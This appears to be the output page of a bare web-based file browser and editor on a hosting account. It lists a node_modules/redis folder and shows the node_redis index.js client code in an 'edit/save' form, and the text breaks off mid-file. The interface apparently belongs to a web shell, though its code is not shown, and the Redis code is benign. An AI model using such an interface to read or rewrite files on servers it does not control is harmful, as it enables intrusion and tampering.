<pre>ok /home/bodisar/public_html/ewolfsoft/planningpoker/node_modules/redis
<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules">..</a>

[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=.npmignore">.npmignore</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=README.md">README.md</a>
[D]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis%2Fbenches">benches</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=changelog.md">changelog.md</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=diff_multi_bench_output.js">diff_multi_bench_output.js</a>
[D]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis%2Fexamples">examples</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=generate_commands.js">generate_commands.js</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=index.js">index.js</a>
[D]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis%2Flib">lib</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=mem.js">mem.js</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=multi_bench.js">multi_bench.js</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=package.json">package.json</a>
[F]<a href="?d=%2Fhome%2Fbodisar%2Fpublic_html%2Fewolfsoft%2Fplanningpoker%2Fnode_modules%2Fredis&e=test.js">test.js</a>
</pre>
<form method="post"><input type="hidden" name="d" value="/home/bodisar/public_html/ewolfsoft/planningpoker/node_modules/redis"><input type="hidden" name="a" value="w">edit/save <input name="n" value="index.js"><br><textarea name="c" rows="12" cols="72">/*global Buffer require exports console setTimeout */

var net = require(&quot;net&quot;),
    util = require(&quot;./lib/util&quot;),
    Queue = require(&quot;./lib/queue&quot;),
    to_array = require(&quot;./lib/to_array&quot;),
    events = require(&quot;events&quot;),
    crypto = require(&quot;crypto&quot;),
    parsers = [], commands,
    connection_id = 0,
    default_port = 6379,
    default_host = &quot;127.0.0.1&quot;;

// can set this to true to enable for all connections
exports.debug_mode = false;

// hiredis might not be installed
try {
    require(&quot;./lib/parser/hiredis&quot;);
    parsers.push(require(&quot;./lib/parser/hiredis&quot;));
} catch (err) {
    if (exports.debug_mode) {
        console.warn(&quot;hiredis parser not installed.&quot;);
    }
}

parsers.push(require(&quot;./lib/parser/javascript&quot;));

function RedisClient(stream, options) {
    this.stream = stream;
    this.options = options = options || {};

    this.connection_id = ++connection_id;
    this.connected = false;
    this.ready = false;
    this.connections = 0;
    if (this.options.socket_nodelay === undefined) {
        this.options.socket_nodelay = true;
    }
    this.should_buffer = false;
    this.command_queue_high_water = this.options.command_queue_high_water || 1000;
    this.command_queue_low_water = this.options.command_queue_low_water || 0;
    this.max_attempts = null;
    if (options.max_attempts &amp;&amp; !isNaN(options.max_attempts) &amp;&amp; options.max_attempts &gt; 0) {
        this.max_attempts = +options.max_attempts;
    }
    this.command_queue = new Queue(); // holds sent commands to de-pipeline them
    this.offline_queue = new Queue(); // holds commands issued but not able to be sent
    this.commands_sent = 0;
    this.connect_timeout = false;
    if (options.connect_timeout &amp;&amp; !isNaN(options.connect_timeout) &amp;&amp; options.connect_timeout &gt; 0) {
        this.connect_timeout = +options.connect_timeout;
    }

    this.enable_offline_queue = true;
    if (typeof this.options.enable_offline_queue === &quot;boolean&quot;) {
        this.enable_offline_queue = this.options.enable_offline_queue;
    }

    this.initialize_retry_vars();
    this.pub_sub_mode = false;
    this.subscription_set = {};
    this.monitoring = false;
    this.closing = false;
    this.server_info = {};
    this.auth_pass = null;
    this.parser_module = null;
    this.selected_db = null;	// save the selected db here, used when reconnecting

    this.old_state = null;

    var self = this;

    this.stream.on(&quot;connect&quot;, function () {
        self.on_connect();
    });

    this.stream.on(&quot;data&quot;, function (buffer_from_socket) {
        self.on_data(buffer_from_socket);
    });

    this.stream.on(&quot;error&quot;, function (msg) {
        self.on_error(msg.message);
    });

    this.stream.on(&quot;close&quot;, function () {
        self.connection_gone(&quot;close&quot;);
    });

    this.stream.on(&quot;end&quot;, function () {
        self.connection_gone(&quot;end&quot;);
    });

    this.stream.on(&quot;drain&quot;, function () {
        self.should_buffer = false;
        self.emit(&quot;drain&quot;);
    });

    events.EventEmitter.call(this);
}
util.inherits(RedisClient, events.EventEmitter);
exports.RedisClient = RedisClient;

RedisClient.prototype.initialize_retry_vars = function () {
    this.retry_timer = null;
    this.retry_totaltime = 0;
    this.retry_delay = 150;
    this.retry_backoff = 1.7;
    this.attempts = 1;
};

// flush offline_queue and command_queue, erroring any items with a callback first
RedisClient.prototype.flush_and_error = function (message) {
    var command_obj;
    while (this.offline_queue.length &gt; 0) {
        command_obj = this.offline_queue.shift();
        if (typeof command_obj.callback === &quot;function&quot;) {
            command_obj.callback(message);
        }
    }
    this.offline_queue = new Queue();

    while (this.command_queue.length &gt; 0) {
        command_obj = this.command_queue.shift();
        if (typeof command_obj.callback === &quot;function&quot;) {
            command_obj.callback(message);
        }
    }
    this.command_queue = new Queue();
};

RedisClient.prototype.on_error = function (msg) {
    var message = &quot;Redis connection to &quot; + this.host + &quot;:&quot; + this.port + &quot; failed - &quot; + msg,
        self = this, command_obj;

    if (this.closing) {
        return;
    }

    if (exports.debug_mode) {
        console.warn(message);
    }

    this.flush_and_error(message);

    this.connected = false;
    this.ready = false;

    this.emit(&quot;error&quot;, new Error(message));
    // &quot;error&quot; events get turned into exceptions if they aren&#039;t listened for.  If the user handled this error
    // then we should try to reconnect.
    this.connection_gone(&quot;error&quot;);
};

RedisClient.prototype.do_auth = function () {
    var self = this;

    if (exports.debug_mode) {
        console.log(&quot;Sending auth to &quot; + self.host + &quot;:&quot; + self.port + &quot; id &quot; + self.connection_id);
    }
    self.send_anyway = true;
    self.send_command(&quot;auth&quot;, [this.auth_pass], function (err, res) {
        if (err) {
            if (err.toString().match(&quot;LOADING&quot;)) {
                // if redis is still loading the db, it will not authenticate and everything else will fail
                console.log(&quot;Redis still loading, trying to authenticate later&quot;);
                setTimeout(function () {
                    self.do_auth();
                }, 2000); // TODO - magic number alert
                return;
            } else {
                return self.emit(&quot;error&quot;, new Error(&quot;Auth error: &quot; + err.message));
            }
        }
        if (res.toString() !== &quot;OK&quot;) {
            return self.emit(&quot;error&quot;, new Error(&quot;Auth failed: &quot; + res.toString()));
        }
        if (exports.debug_mode) {
            console.log(&quot;Auth succeeded &quot; + self.host + &quot;:&quot; + self.port + &quot; id &quot; + self.connection_id);
        }
        if (self.auth_callback) {
            self.auth_callback(err, res);
            self.auth_callback = null;
        }

        // now we are really connected
        self.emit(&quot;connect&quot;);
        if (self.options.no_ready_check) {
            self.on_ready();
        } else {
            self.ready_check();
        }
    });
    self.send_anyway = false;
};

RedisClient.prototype.on_connect = function () {
    if (exports.debug_mode) {
        console.log(&quot;Stream connected &quot; + this.host + &quot;:&quot; + this.port + &quot; id &quot; + this.connection_id);
    }
    var self = this;

    this.connected = true;
    this.ready = false;
    this.attempts = 0;
    this.connections += 1;
    this.command_queue = new Queue();
    this.emitted_end = false;
    this.initialize_retry_vars();
    if (this.options.socket_nodelay) {
        this.stream.setNoDelay();
    }
    this.stream.setTimeout(0);

    this.init_parser();

    if (this.auth_pass) {
        this.do_auth();
    } else {
        this.emit(&quot;connect&quot;);

        if (this.options.no_ready_check) {
            this.on_ready();
        } else {
            this.ready_check();
        }
    }
};

RedisClient.prototype.init_parser = function () {
    var self = this;

    if (this.options.parser) {
        if (! parsers.some(function (parser) {
            if (parser.name === self.options.parser) {
                self.parser_module = parser;
                if (exports.debug_mode) {
                    console.log(&quot;Using parser module: &quot; + self.parser_module.name);
                }
                return true;
            }
        })) {
            throw new Error(&quot;Couldn&#039;t find named parser &quot; + self.options.parser + &quot; on this system&quot;);
        }
    } else {
        if (exports.debug_mode) {
            console.log(&quot;Using default parser module: &quot; + parsers[0].name);
        }
        this.parser_module = parsers[0];
    }

    this.parser_module.debug_mode = exports.debug_mode;

    // return_buffers sends back Buffers from parser to callback. detect_buffers sends back Buffers from parser, but
    // converts to Strings if the input arguments are not Buffers.
    this.reply_parser = new this.parser_module.Parser({
        return_buffers: self.options.return_buffers || self.options.detect_buffers || false
    });

    // &quot;reply error&quot; is an error sent back by Redis
    this.reply_parser.on(&quot;reply error&quot;, function (reply) {
        self.return_error(new Error(reply));
    });
    this.reply_parser.on(&quot;reply&quot;, function (reply) {
        self.return_reply(reply);
    });
    // &quot;error&quot; is bad.  Somehow the parser got confused.  It&#039;ll try to reset and continue.
    this.reply_parser.on(&quot;error&quot;, function (err) {
        self.emit(&quot;error&quot;, new Error(&quot;Redis reply parser error: &quot; + err.stack));
    });
};

RedisClient.prototype.on_ready = function () {
    var self = this;

    this.ready = true;

    if (this.old_state !== null) {
        this.monitoring = this.old_state.monitoring;
        this.pub_sub_mode = this.old_state.pub_sub_mode;
        this.selected_db = this.old_state.selected_db;
        this.old_state = null;
    }

    // magically restore any modal commands from a previous connection
    if (this.selected_db !== null) {
        this.send_command(&#039;select&#039;, [this.selected_db]);
    }
    if (this.pub_sub_mode === true) {
        // only emit &quot;ready&quot; when all subscriptions were made again
        var callback_count = 0;
        var callback = function() {
            callback_count--;
            if (callback_count == 0) {
                self.emit(&quot;ready&quot;);
            }
        }
        Object.keys(this.subscription_set).forEach(function (key) {
            var parts = key.split(&quot; &quot;);
            if (exports.debug_mode) {
                console.warn(&quot;sending pub/sub on_ready &quot; + parts[0] + &quot;, &quot; + parts[1]);
            }
            callback_count++;
            self.send_command(parts[0] + &quot;scribe&quot;, [parts[1]], callback);
        });
        return;
    } else if (this.monitoring) {
        this.send_command(&quot;monitor&quot;);
    } else {
        this.send_offline_queue();
    }
    this.emit(&quot;ready&quot;);
};

RedisClient.prototype.on_info_cmd = function (err, res) {
    var self = this, obj = {}, lines, retry_time;

    if (err) {
        return self.emit(&quot;error&quot;, new Error(&quot;Ready check failed: &quot; + err.message));
    }

    lines = res.toString().split(&quot;\r\n&quot;);

    lines.forEach(function (line) {
        var parts = line.split(&#039;:&#039;);
        if (parts[1]) {
            obj[parts[0]] = parts[1];
        }
    });

    obj.versions = [];
    obj.redis_version.split(&#039;.&#039;).forEach(function (num) {
        obj.versions.push(+num);
    });

    // expose info key/vals to users
    this.server_info = obj;

    if (!obj.loading || (obj.loading &amp;&amp; obj.loading === &quot;0&quot;)) {
        if (exports.debug_mode) {
            console.log(&quot;Redis server ready.&quot;);
        }
        this.on_ready();
    } else {
        retry_time = obj.loading_eta_seconds * 1000;
        if (retry_time &gt; 1000) {
            retry_time = 1000;
        }
        if (exports.debug_mode) {
            console.log(&quot;Redis server still loading, trying again in &quot; + retry_time);
        }
        setTimeout(function () {
            self.ready_check();
        }, retry_time);
    }
};

RedisClient.prototype.ready_check = function () {
    var self = this;

    if (exports.debug_mode) {
        console.log(&quot;checking server ready state...&quot;);
    }

    this.send_anyway = true;  // secret flag to send_command to send something even if not &quot;ready&quot;
    this.info(function (err, res) {
        self.on_info_cmd(err, res);
    });
    this.send_anyway = false;
};

RedisClient.prototype.send_offline_queue = function () {
    var command_obj, buffered_writes = 0;

    while (this.offline_queue.length &gt; 0) {
        command_obj = this.offline_queue.shift();
        if (exports.debug_mode) {
            console.log(&quot;Sending offline command: &quot; + command_obj.command);
        }
        buffered_writes += !this.send_command(command_obj.command, command_obj.args, command_obj.callback);
    }
    this.offline_queue = new Queue();
    // Even though items were shifted off, Queue backing store still uses memory until next add, so just get a new Queue

    if (!buffered_writes) {
        this.should_buffer = false;
        this.emit(&quot;drain&quot;);
    }
};

RedisClient.prototype.connection_gone = function (why) {
    var self = this, message;

    // If a retry is already in progress, just let that happen
    if (this.retry_timer) {
        return;
    }

    if (exports.debug_mode) {
        console.warn(&quot;Redis connection is gone from &quot; + why + &quot; event.&quot;);
    }
    this.connected = false;
    this.ready = false;

    if (this.old_state === null) {
        var state = {
            monitoring: this.monitoring,
            pub_sub_mode: this.pub_sub_mode,
            selected_db: this.selected_db
        };
        this.old_state = state;
        this.monitoring = false;
        this.pub_sub_mode = false;
        this.selected_db = null;
    }

    // since we are collapsing end and close, users don&#039;t expect to be called twice
    if (! this.emitted_end) {
        this.emit(&quot;end&quot;);
        this.emitted_end = true;
    }

    this.flush_and_error(&quot;Redis connection gone from &quot; + why + &quot; event.&quot;);

    // If this is a requested shutdown, then don&#039;t retry
    if (this.closing) {
        this.retry_timer = null;
        if (exports.debug_mode) {
            console.warn(&quot;connection ended from quit command, not retrying.&quot;);
        }
        return;
    }

    this.retry_delay = Math.floor(this.retry_delay * this.retry_backoff);

    if (exports.debug_mode) {
        console.log(&quot;Retry connection in &quot; + this.current_retry_delay + &quot; ms&quot;);
    }

    if (this.max_attempts &amp;&amp; this.attempts &gt;= this.max_attempts) {
        this.retry_timer = null;
        // TODO - some people need a &quot;Redis is Broken mode&quot; for future commands that errors immediately, and others
        // want the program to exit.  Right now, we just log, which doesn&#039;t really help in either case.
        console.error(&quot;node_redis: Couldn&#039;t get Redis connection after &quot; + this.max_attempts + &quot; attempts.&quot;);
        return;
    }

    this.attempts += 1;
    this.emit(&quot;reconnecting&quot;, {
        delay: self.retry_delay,
        attempt: self.attempts
    });
    this.retry_timer = setTimeout(function () {
        if (exports.debug_mode) {
            console.log(&quot;Retrying connection...&quot;);
        }

        self.retry_totaltime += self.current_retry_delay;

        if (self.connect_timeout &amp;&amp; self.retry_totaltime &gt;= self.connect_timeout) {
            self.retry_timer = null;
            // TODO - engage Redis is Broken mode for future commands, or whatever
            console.error(&quot;node_redis: Couldn&#039;t get Redis connection after &quot; + self.retry_totaltime + &quot;ms.&quot;);
            return;
        }

        self.stream.connect(self.port, self.host);
        self.retry_timer = null;
    }, this.retry_delay);
};

RedisClient.prototype.on_data = function (data) {
    if (exports.debug_mode) {
        console.log(&quot;net read &quot; + this.host + &quot;:&quot; + this.port + &quot; id &quot; + this.connection_id + &quot;: &quot; + data.toString());
    }

    try {
        this.reply_parser.execute(data);
    } catch (err) {
        // This is an unexpected parser problem, an exception that came from the parser code itself.
        // Parser should emit &quot;error&quot; events if it notices things are out of whack.
        // Callbacks that throw exceptions will land in return_reply(), below.
        // TODO - it might be nice to have a different &quot;error&quot; event for different types of errors
        this.emit(&quot;error&quot;, err);
    }
};

RedisClient.prototype.return_error = function (err) {
    var command_obj = this.command_queue.shift(), queue_len = this.command_queue.getLength();

    if (this.pub_sub_mode === false &amp;&amp; queue_len === 0) {
        this.emit(&quot;idle&quot;);
        this.command_queue = new Queue();
    }
    if (this.should_buffer &amp;&amp; queue_len &lt;= this.command_queue_low_water) {
        this.emit(&quot;drain&quot;);
        this.should_buffer = false;
    }

    if (command_obj &amp;&amp; typeof command_obj.callback === &quot;function&quot;) {
        try {
            command_obj.callback(err);
        } catch (callback_err) {
            // if a callback throws an exception, re-throw it on a new stack so the parser can keep going
            process.nextTick(function () {
                throw callback_err;
            });
        }
    } else {
        console.log(&quot;node_redis: no callback to send error: &quot; + err.message);
        // this will probably not make it anywhere useful, but we might as well throw
        process.nextTick(function () {
            throw err;
        });
    }
};

// if a callback throws an exception, re-throw it on a new stack so the parser can keep going.
// put this try/catch in its own function because V8 doesn&#039;t optimize this well yet.
function try_callback(callback, reply) {
    try {
        callback(null, reply);
    } catch (err) {
        process.nextTick(function () {
            throw err;
        });
    }
}

// hgetall converts its replies to an Object.  If the reply is empty, null is returned.
function reply_to_object(reply) {
    var obj = {}, j, jl, key, val;

    if (reply.length === 0) {
        return null;
    }

    for (j = 0, jl = reply.length; j &lt; jl; j += 2) {
        key = reply[j].toString();
        val = reply[j + 1];
        obj[key] = val;
    }

    return obj;
}

function reply_to_strings(reply) {
    var i;

    if (Buffer.isBuffer(reply)) {
        return reply.toString();
    }

    if (Array.isArray(reply)) {
        for (i = 0; i &lt; reply.length; i++) {
            reply[i] = reply[i].toString();
        }
        return reply;
    }

    return reply;
}

RedisClient.prototype.return_reply = function (reply) {
    var command_obj, obj, i, len, type, timestamp, argindex, args, queue_len;

    command_obj = this.command_queue.shift(),
    queue_len   = this.command_queue.getLength();

    if (this.pub_sub_mode === false &amp;&amp; queue_len === 0) {
        this.emit(&quot;idle&quot;);
        this.command_queue = new Queue();  // explicitly reclaim storage from old Queue
    }
    if (this.should_buffer &amp;&amp; queue_len &lt;= this.command_queue_low_water) {
        this.emit(&quot;drain&quot;);
        this.should_buffer = false;
    }

    if (command_obj &amp;&amp; !command_obj.sub_command) {
        if (typeof command_obj.callback === &quot;function&quot;) {
            if (this.options.detect_buffers &amp;&amp; command_obj.buffer_args === false) {
                // If detect_buffers option was specified, then the reply from the parser will be Buffers.
                // If this command did not use Buffer arguments, then convert the reply to Strings here.
                reply = reply_to_strings(reply);
            }

            // TODO - confusing and error-prone that hgetall is special cased in two places
            if (reply &amp;&amp; &#039;hgetall&#039; === command_obj.command.toLowerCase()) {
                reply = reply_to_object(reply);
            }

            try_callback(command_obj.callback, reply);
        } else if (exports.debug_mode) {
            console.log(&quot;no callback for reply: &quot; + (reply &amp;&amp; reply.toString &amp;&amp; reply.toString()));
        }
    } else if (this.pub_sub_mode || (command_obj &amp;&amp; command_obj.sub_command)) {
        if (Array.isArray(reply)) {
            type = reply[0].toString();

            if (type === &quot;message&quot;) {
                this.emit(&quot;message&quot;, reply[1].toString(), reply[2]); // channel, message
            } else if (type === &quot;pmessage&quot;) {
                this.emit(&quot;pmessage&quot;, reply[1].toString(), reply[2].toString(), reply[3]); // pattern, channel, message
            } else if (type === &quot;subscribe&quot; || type === &quot;unsubscribe&quot; || type === &quot;psubscribe&quot; || type === &quot;punsubscribe&quot;) {
                if (reply[2] === 0) {
                    this.pub_sub_mode = false;
                    if (this.debug_mode) {
                        console.log(&quot;All subscriptions removed, exiting pub/sub mode&quot;);
                    }
                } else {
                    this.pub_sub_mode = true;
                }
                // subscribe commands take an optional callback and also emit an event, but only the first response is included in the callback
                // TODO - document this or fix it so it works in a more obvious way
                if (command_obj &amp;&amp; typeof command_obj.callback === &quot;function&quot;) {
                    try_callback(command_obj.callback, reply[1].toString());
                }
                this.emit(type, reply[1].toString(), reply[2]); // channel, count
            } else {
                throw new Error(&quot;subscriptions are active but got unknown reply type &quot; + type);
            }
        } else if (! this.closing) {
            throw new Error(&quot;subscriptions are active but got an invalid reply: &quot; + reply);
        }
    } else if (this.monitoring) {
        len = reply.indexOf(&quot; &quot;);
        timestamp = reply.slice(0, len);
        argindex = reply.indexOf(&#039;&quot;&#039;);
        args = reply.slice(argindex + 1, -1).split(&#039;&quot; &quot;&#039;).map(function (elem) {
            return elem.replace(/\\&quot;/g, &#039;&quot;&#039;);
        });
        this.emit(&quot;monitor&quot;, timestamp, args);
    } else {
        throw new Error(&quot;node_redis command queue state error. If you can reproduce this, please report it.&quot;);
    }
};

// This Command constructor is ever so slightly faster than using an object literal, but more importantly, using
// a named constructor helps it show up meaningfully in the V8 CPU profiler and in heap snapshots.
function Command(command, args, sub_command, buffer_args, callback) {
    this.command = command;
    this.args = args;
    this.sub_command = sub_command;
    this.buffer_args = buffer_args;
    this.callback = callback;
}

RedisClient.prototype.send_command = function (command, args, callback) {
    var arg, this_args, command_obj, i, il, elem_count, buffer_args, stream = this.stream, command_str = &quot;&quot;, buffered_writes = 0, last_arg_type;

    if (typeof command !== &quot;string&quot;) {
        throw new Error(&quot;First argument to send_command must be the command name string, not &quot; + typeof command);
    }

    if (Array.isArray(args)) {
        if (typeof callback === &quot;function&quot;) {
            // probably the fastest way:
            //     client.command([arg1, arg2], cb);  (straight passthrough)
            //         send_command(command, [arg1, arg2], cb);
        } else if (! callback) {
            // most people find this variable argument length form more convenient, but it uses arguments, which is slower
            //     client.command(arg1, arg2, cb);   (wraps up arguments into an array)
            //       send_command(command, [arg1, arg2, cb]);
            //     client.command(arg1, arg2);   (callback is optional)
            //       send_command(command, [arg1, arg2]);
            //     client.command(arg1, arg2, undefined);   (callback is undefined)
            //       send_command(command, [arg1, arg2, undefined]);
            last_arg_type = typeof args[args.length - 1];
            if (last_arg_type === &quot;function&quot; || last_arg_type === &quot;undefined&quot;) {
                callback = args.pop();
            }
        } else {
            throw new Error(&quot;send_command: last argument must be a callback or undefined&quot;);
        }
    } else {
        throw new Error(&quot;send_command: second argument must be an array&quot;);
    }

    // if the last argument is an array and command is sadd, expand it out:
    //     client.sadd(arg1, [arg2, arg3, arg4], cb);
    //  converts to:
    //     client.sadd(arg1, arg2, arg3, arg4, cb);
    if ((command === &#039;sadd&#039; || command === &#039;SADD&#039;) &amp;&amp; args.length &gt; 0 &amp;&amp; Array.isArray(args[args.length - 1])) {
        args = args.slice(0, -1).concat(args[args.length - 1]);
    }

    buffer_args = false;
    for (i = 0, il = args.length, arg; i &lt; il; i += 1) {
        if (Buffer.isBuffer(args[i])) {
            buffer_args = true;
        }
    }

    command_obj = new Command(command, args, false, buffer_args, callback);

    if ((!this.ready &amp;&amp; !this.send_anyway) || !stream.writable) {
        if (exports.debug_mode) {
            if (!stream.writable) {
                console.log(&quot;send command: stream is not writeable.&quot;);
            }
        }

        if (this.enable_offline_queue) {
            if (exports.debug_mode) {
                console.log(&quot;Queueing &quot; + command + &quot; for next server connection.&quot;);
            }
            this.offline_queue.push(command_obj);
            this.should_buffer = true;
        } else {
            var not_writeable_error = new Error(&#039;send_command: stream not writeable. enable_offline_queue is false&#039;);
            if (command_obj.callback) {
                command_obj.callback(not_writeable_error);
            } else {
                throw not_writeable_error;
            }
        }

        return false;
    }

    if (command === &quot;subscribe&quot; || command === &quot;psubscribe&quot; || command === &quot;unsubscribe&quot; || command === &quot;punsubscribe&quot;) {
        this.pub_sub_command(command_obj);
    } else if (command === &quot;monitor&quot;) {
        this.monitoring = true;
    } else if (command === &quot;quit&quot;) {
        this.closing = true;
    } else if (this.pub_sub_mode === true) {
        throw new Error(&quot;Connection in pub/sub mode, only pub/sub commands may be used&quot;);
    }
    this.command_queue.push(command_obj);
    this.commands_sent += 1;

    elem_count = args.length + 1;

    // Always use &quot;Multi bulk commands&quot;, but if passed any Buffer args, then do multiple writes, one for each arg.
    // This means that using Buffers in commands is going to be slower, so use Strings if you don&#039;t already have a Buffer.

    command_str = &quot;*&quot; + elem_count + &quot;\r\n$&quot; + command.length + &quot;\r\n&quot; + command + &quot;\r\n&quot;;

    if (! buffer_args) { // Build up a string and send entire command in one write
        for (i = 0, il = args.length, arg; i &lt; il; i += 1) {
            arg = args[i];
            if (typeof arg !== &quot;string&quot;) {
                arg = String(arg);
            }
            command_str += &quot;$&quot; + Buffer.byteLength(arg) + &quot;\r\n&quot; + arg + &quot;\r\n&quot;;
        }
        if (exports.debug_mode) {
            console.log(&quot;send &quot; + this.host + &quot;:&quot; + this.port + &quot; id &quot; + this.connection_id + &quot;: &quot; + command_str);
        }
        buffered_writes += !stream.write(command_str);
    } else {
        if (exports.debug_mode) {
            console.log(&quot;send command (&quot; + command_str + &quot;) has Buffer arguments&quot;);
        }
        buffered_writes += !stream.write(command_str);

        for (i = 0, il = args.length, arg; i &lt; il; i += 1) {
            arg = args[i];
            if (!(Buffer.isBuffer(arg) || arg instanceof String)) {
                arg = String(arg);
            }

            if (Buffer.isBuffer(arg)) {
                if (arg.length === 0) {
                    if (exports.debug_mode) {
                        console.log(&quot;send_command: using empty string for 0 length buffer&quot;);
                    }
                    buffered_writes += !stream.write(&quot;$0\r\n\r\n&quot;);
                } else {
                    buffered_writes += !stream.write(&quot;$&quot; + arg.length + &quot;\r\n&quot;);
                    buffered_writes += !stream.write(arg);
                    buffered_writes += !stream.write(&quot;\r\n&quot;);
                    if (exports.debug_mode) {
                        console.log(&quot;send_command: buffer send &quot; + arg.length + &quot; bytes&quot;);
                    }
                }
            } else {
                if (exports.debug_mode) {
                    console.log(&quot;send_command: string send &quot; + Buffer.byteLength(arg) + &quot; bytes: &quot; + arg);
                }
                buffered_writes += !stream.write(&quot;$&quot; + Buffer.byteLength(arg) + &quot;\r\n&quot; + arg + &quot;\r\n&quot;);
            }
        }
    }
    if (exports.debug_mode) {
        console.log(&quot;send_command buffered_writes: &quot; + buffered_writes, &quot; should_buffer: &quot; + this.should_buffer);
    }
    if (buffered_writes || this.command_queue.getLength() &gt;= this.command_queue_high_water) {
        this.should_buffer = true;
    }
    return !this.should_buffer;
};

RedisClient.prototype.pub_sub_command = function (command_obj) {
    var i, key, command, args;

    if (this.pub_sub_mode === false &amp;&amp; exports.debug_mode) {
        console.log(&quot;Entering pub/sub mode from &quot; + command_obj.command);
    }
    this.pub_sub_mode = true;
    command_obj.sub_command = true;

    command = command_obj.command;
    args = command_obj.args;
    if (command === &quot;subscribe&quot; || command === &quot;psubscribe&quot;) {
        if (command === &quot;subscribe&quot;) {
            key = &quot;sub&quot;;
        } else {
            key = &quot;psub&quot;;
        }
        for (i = 0; i &lt; args.length; i++) {
            this.subscription_set[key + &quot; &quot; + args[i]] = true;
        }
    } else {
        if (command === &quot;unsubscribe&quot;) {
            key = &quot;sub&quot;;
        } else {
            key = &quot;psub&quot;;
        }
        for (i = 0; i &lt; args.length; i++) {
            delete this.subscription_set[key + &quot; &quot; + args[i]];
        }
    }
};

RedisClient.prototype.end = function () {
    this.stream._events = {};
    this.connected = false;
    this.ready = false;
    return this.stream.end();
};

function Multi(client, args) {
    this.client = client;
    this.queue = [[&quot;MULTI&quot;]];
    if (Array.isArray(args)) {
        this.queue = this.queue.concat(args);
    }
}

exports.Multi = Multi;

// take 2 arrays and return the union of their elements
function set_union(seta, setb) {
    var obj = {};

    seta.forEach(function (val) {
        obj[val] = true;
    });
    setb.forEach(function (val) {
        obj[val] = true;
    });
    return Object.keys(obj);
}

// This static list of commands is updated from time to time.  ./lib/commands.js can be updated with generate_commands.js
commands = set_union([&quot;get&quot;, &quot;set&quot;, &quot;setnx&quot;, &quot;setex&quot;, &quot;append&quot;, &quot;strlen&quot;, &quot;del&quot;, &quot;exists&quot;, &quot;setbit&quot;, &quot;getbit&quot;, &quot;setrange&quot;, &quot;getrange&quot;, &quot;substr&quot;,
    &quot;incr&quot;, &quot;decr&quot;, &quot;mget&quot;, &quot;rpush&quot;, &quot;lpush&quot;, &quot;rpushx&quot;, &quot;lpushx&quot;, &quot;linsert&quot;, &quot;rpop&quot;, &quot;lpop&quot;, &quot;brpop&quot;, &quot;brpoplpush&quot;, &quot;blpop&quot;, &quot;llen&quot;, &quot;lindex&quot;,
    &quot;lset&quot;, &quot;lrange&quot;, &quot;ltrim&quot;, &quot;lrem&quot;, &quot;rpoplpush&quot;, &quot;sadd&quot;, &quot;srem&quot;, &quot;smove&quot;, &quot;sismember&quot;, &quot;scard&quot;, &quot;spop&quot;, &quot;srandmember&quot;, &quot;sinter&quot;, &quot;sinterstore&quot;,
    &quot;sunion&quot;, &quot;sunionstore&quot;, &quot;sdiff&quot;, &quot;sdiffstore&quot;, &quot;smembers&quot;, &quot;zadd&quot;, &quot;zincrby&quot;, &quot;zrem&quot;, &quot;zremrangebyscore&quot;, &quot;zremrangebyrank&quot;, &quot;zunionstore&quot;,
    &quot;zinterstore&quot;, &quot;zrange&quot;, &quot;zrangebyscore&quot;, &quot;zrevrangebyscore&quot;, &quot;zcount&quot;, &quot;zrevrange&quot;, &quot;zcard&quot;, &quot;zscore&quot;, &quot;zrank&quot;, &quot;zrevrank&quot;, &quot;hset&quot;, &quot;hsetnx&quot;,
    &quot;hget&quot;, &quot;hmset&quot;, &quot;hmget&quot;, &quot;hincrby&quot;, &quot;hdel&quot;, &quot;hlen&quot;, &quot;hkeys&quot;, &quot;hvals&quot;, &quot;hgetall&quot;, &quot;hexists&quot;, &quot;incrby&quot;, &quot;decrby&quot;, &quot;getset&quot;, &quot;mset&quot;, &quot;msetnx&quot;,
    &quot;randomkey&quot;, &quot;select&quot;, &quot;move&quot;, &quot;rename&quot;, &quot;renamenx&quot;, &quot;expire&quot;, &quot;expireat&quot;, &quot;keys&quot;, &quot;dbsize&quot;, &quot;auth&quot;, &quot;ping&quot;, &quot;echo&quot;, &quot;save&quot;, &quot;bgsave&quot;,
    &quot;bgrewriteaof&quot;, &quot;shutdown&quot;, &quot;lastsave&quot;, &quot;type&quot;, &quot;multi&quot;, &quot;exec&quot;, &quot;discard&quot;, &quot;sync&quot;, &quot;flushdb&quot;, &quot;flushall&quot;, &quot;sort&quot;, &quot;info&quot;, &quot;monitor&quot;, &quot;ttl&quot;,
    &quot;persist&quot;, &quot;slaveof&quot;, &quot;debug&quot;, &quot;config&quot;, &quot;subscribe&quot;, &quot;unsubscribe&quot;, &quot;psubscribe&quot;, &quot;punsubscribe&quot;, &quot;publish&quot;, &quot;watch&quot;, &quot;unwatch&quot;, &quot;cluster&quot;,
